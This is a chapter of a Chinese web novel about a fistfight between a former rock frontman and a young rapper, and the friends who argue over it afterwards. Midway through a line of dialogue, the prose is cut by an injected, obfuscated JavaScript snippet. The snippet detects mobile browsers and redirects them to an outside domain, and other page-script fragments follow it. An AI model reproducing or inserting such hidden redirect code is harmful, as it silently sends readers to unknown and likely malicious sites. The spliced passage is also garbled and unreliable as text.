本身眉压眼给人感觉就不好相处,再多那几道瘀青,乍一看邱纪澔实在是凶得可以,似乎下一秒就要表演一个拳皇降临李小龙在世。魏巡给方天致使眼色让他把人拦住,再一拳上来的话,转头席泽池那些对着正主都能泼红油漆的神经粉丝指不定要对他做出点什么。 好在看样子两个人这眨眼时间已经殴得差不多了,臭着脸的黑皮硬茬只是死死盯着人看,没有再进行下一步的攻击动作。 这又不是那什么对飙山歌,们云南人直播间里全是斗舞摇子和韩团模仿秀,此刻要开个播再标注这两人都来自哪里,观众不得刷屏喊几句要打去KTV里打,然后排名直冲站内前三。 “怎么都愣着?”叶望谭出了声,“赶紧先把他俩分开啊!” 魏巡刚那一嗓子喊过来不少人,除过那帮在花园钓鱼的rapper外,其他别墅里搞乐队的几个人听到动静全跑来了,见到这场面呆在客厅里,直到叶望谭一发话,才赶忙三三两两架着给两人硬扯开了。 邱纪澔表情看着像是要杀人,浑身都在不受控制地发抖,刚刚被席泽池用膝盖顶到胃是一方面,但主要原因还是被方天致从身后突然搂住了腰。 那晚被掐着腰抵在门上的经历猛地涌上脑海,他被方天致揽着,感到有点反胃,干呕了几下,却什么也没吐出来,只好用手背盖着下半张脸剧烈咳嗽起来,喉间逐渐弥漫开一股铁锈般的血腥味。 “…席泽池,”邱纪澔强压下翻涌的恶心感,把刚刚没说完的话说完,咬着牙发狠道,“旧日跟你没半毛钱关系!” 席泽池被他气笑,又要过去拽他领子:“再说跟我没关系呢?” 见他个疯子又要打起来,别说魏巡和拉着他的几个人了,胳膊受过伤的叶望谭也伸手去拽:“还没打够?” 魏巡见多了他处事风格,这会儿不服也得服:“你是想进局子喝茶,还是想去医院检查?” “我看他是又想上热搜。”叶望谭无奈道。看那小孩儿样估计被席泽池气得够呛,他让几个小年轻去把邱纪澔架房间里休息会儿,掏出手机给左欧江打电话。 那边邱纪澔立刻应激一样甩开方天致的胳膊,再几个走位精准地避开其他所有人伸来的手,臭着脸说了句他自己能走用不着,语气要多愤怒有多愤怒,闷头进去就把自己锁在房间里了。 席泽池对着那扇门看了会儿,从魏巡手里把自己衣服扯回来,转身再在茶几上抽了几张纸。 脾气不好的臭脸小孩儿下手也是真狠,他刚拎住邱纪澔的领子,一拳头就迎面砸过来了,好险侧了下头才堪堪擦着鼻梁而过。 想到他说的话,前旧日乐队的主唱抬起手面无表情地沾了下脸上的血,仰头靠在沙发里闭上眼睛。 叶望谭已经在和魏巡疏散人群了,让那些来拉架的人从哪来回哪去,这热闹也没什么好看的。方天致去敲邱纪澔的门,在门口喊了半天兄弟你没事吧兄弟我跟MC江说了声我们先走我带你回去吧——低头看了眼手机,招呼都没打又冲了出去。 魏巡对着他背影嘀咕:“毛呢这是,一个个都这么躁。” 叶望谭调出手机监控给他看,他们是在一楼,画面显示邱纪澔刚进去就从那房间窗户翻窗跑了。 “我倒信他是你养出来的了,”魏巡也是惊叹,“看看这跑路的速度……” “谁又跑了?” 这事给左欧江惊得,收到消息就扛着钓鱼竿从小花园飞奔回来了,进了门大喊问:“席泽池那玩意人呢?!” 叶望谭按着他脑袋转了个向,他嘴里的人在沙发上摸出根烟抽,正好端端坐在那里哪也没去。 “哦……没跑哦?”左欧江声音恢复正常音调了,问,“那是怎么个事?” “这事要说起来比较复杂。”魏巡这样说,“你真想听这个,我们现在找个地方一边喝酒一边慢慢聊……” “这事这么长?”左欧江眉头一挑,把钓鱼竿靠在墙上说,“T宝刚给我发消息说他和Q宝先走了,这俩没关联吧?……总不能要给我从他人间蒸发开始讲哦?” 魏巡摊了下手,表示这还是真有干系了。左欧江凑过去简单听了几句,没几秒给他惊了一跳。 “……我管你谁先动的手,小孩儿脾气爆你也跟着一起躁啊?!”他这样骂,方言都飙出来,“池子你搞咩呐,有话不能好好说?在我的场子你把人小孩儿打了!” “也不是人小孩儿吧,”魏巡插话,“MQ都他养出来的。” “那更应该好好说话了不是?”左欧江不吃这一套说辞,结合最近听到的传言,稍微一想就知道问题在哪了,“那专要做就做了嘛,没见谁还跟自家小孩儿置气的!” “他这性子不好说。”叶望谭在一旁淡淡道,“那小孩儿脾气也是跟他一个样。” 这三个人一人一句的,像是单方面就要替他把事情解决了,席泽池听着他们讲话也不吭声,半晌抽完了嘴里的那根烟,摸出来打火机在手里把玩。 “……所以你怎么惹那小孩儿了?”叶望谭最后问他。 魏巡拆他台,挖苦道:“搞不好他单纯站这就把人给惹了。” 那又不是没可能,于是三双眼睛同时转过来看向他,好一会儿,席泽池才开口回了句:“他就是欠操。” 云南人民说话实在太奔放,在他们那儿,操就是骂的意思,魏巡知道他是在说那小孩儿欠骂,或者说是欠收拾,但前不久胡乱猜测出的那些——什么辣妹啊什么性子野啊什么长腿男的冷不丁全涌上脑海,一时对席泽池这种直白的说话方式感到有点不适应。 这字眼用在这合理吗他就想问,他一山东人说话也不倒装啊。 席泽池的择偶标准从他俩十几岁livehouse刚认识那会儿就没变过,要不然说呢MissQ这存在跟女娲捏人上帝撒药一样,现在魏巡除了祈求自己兄弟还是个直男外无法加以任何评价了,对他的这句话干巴巴道:“…那行吧。” 叶望谭还好,左欧江就更不适应了,皱眉道:“你这话对着一rapper讲咩啊?!” 这就又要回到身为一个rapper的底线和原则问题了,叶望谭最不喜欢和他掰扯这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382452|182930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话题,索性先一步道:“好了,下次再见面好好聊聊不就行了。” “咩啊,”左欧江怼他,“池子跟谁能好好聊的起来?” 席泽池自我感觉良好:“我跟谁聊不起来?” 魏巡实名质疑:“那你跟MQ在不打起来的前提下聊聊?” 邱纪澔说话那态度从小就够呛,通常没逗上两句就被惹毛了要扎人,逗过了又憋不出一个屁来直接把人当空气,这习性太野生了,长大了性格还更难搞,席泽池思考了一下,觉得这还真有点难度。 主要他刚也是真怒了,他留在旧日那专辑说好听点叫半成品,说难听点就是没头没尾的残次品,但他写的专辑跟他没关系,这天下哪个做音乐的都没这道理。 席泽池追求完美,写不出来的歌在他这属于自己跟自己过不去,又不是不要了,要是真什么都不要的话他大可以直接退圈,那还回来继续搞摇滚干什么,真就纯被旧日乐队的老粉追着线下骂。 ——也不知道能做出个什么东西。 席泽池拿起叶望谭放在茶几上的平板就去搜索旧日乐队——他自己的Q-Q酷狗和网易云账号还都把前乐队屏蔽着——搜出来乔文秋和眼熟的几个音乐人名字,里面没有MissQ。 也对,邱纪澔生性向rapper,怎么可能会加入他一直看不起的乐队……席泽池随手往下滑了滑,点开一首歌开了外放,把平板扔到一旁的沙发上。 熟悉的前奏一响起来他就觉得头疼,不由得越听越皱眉,把歌词反复回拉到顶端好几次去看这编曲到底是谁,看了好几遍才反应过来那写的名字是MissQ。 花念旭说的没错,邱纪澔这改得的确玩出花来了,乔文秋唱不上去的地方全给底音变奏换完了,实打实来自编曲细致入微的贴心服务,量身定制般的二改,没留下一点席泽池的影子。 “旧日这些年现场还不错其实,花儿前几天刚说完我就去看了。” 魏巡凑过来做解说,在平板上给席泽池搜旧日的live现场,找了个播放量最高的点开。视频挺长,开头就是长腿酷哥戴着墨镜站在台上起范,快嘴和wordplay玩得倒是挺溜,魏巡再往后一滑,足足十五分钟,台上站着的只有邱纪澔一个人。 在帮旧日热场,席泽池懂这门道,除了嘻哈外还真没什么音乐能把场子直接造起来了。 “MQ像这样给他狠垫了几年吧……”魏巡揶揄道,“该说呢,再过几天这俩小孩儿在粉丝嘴里都相恋五周年了。” 只要是两男的站一块儿,别说活不活了,就算两个人都死了那粉丝也能磕,席泽池没怎么在意,只是奇了:“他什么时候改玩的trance?” “好几年啦都!”左欧江拍他肩膀,“我还好奇Q宝玩trap玩得几好,做咩要换风格,原来池子你这玩意在祸害人啊!” 这人讲话咩啊咩的,席泽池点开MissQ的音乐人主页,把耳机戴上,选择性规避掉rapper左欧江持续输出的话术攻击。 “你要做咩啊你,”左欧江继续骂,“你再这样Q宝以后不来我场子你赔我啊?!” “MQ之前见我都会点头的!”魏巡也跟着嚷,“跟你一起出现后都没跟我打过招呼了!” “不然呢?”席泽池点着平板,觉得他们有点小题大做,“他小时候就这样,能理你们我倒觉得怪了。” “…对了,”一直没出声的叶望谭突然想起来个事,问,“高朝安之前投资的一个制片最近要组音综,你们谁有时间?”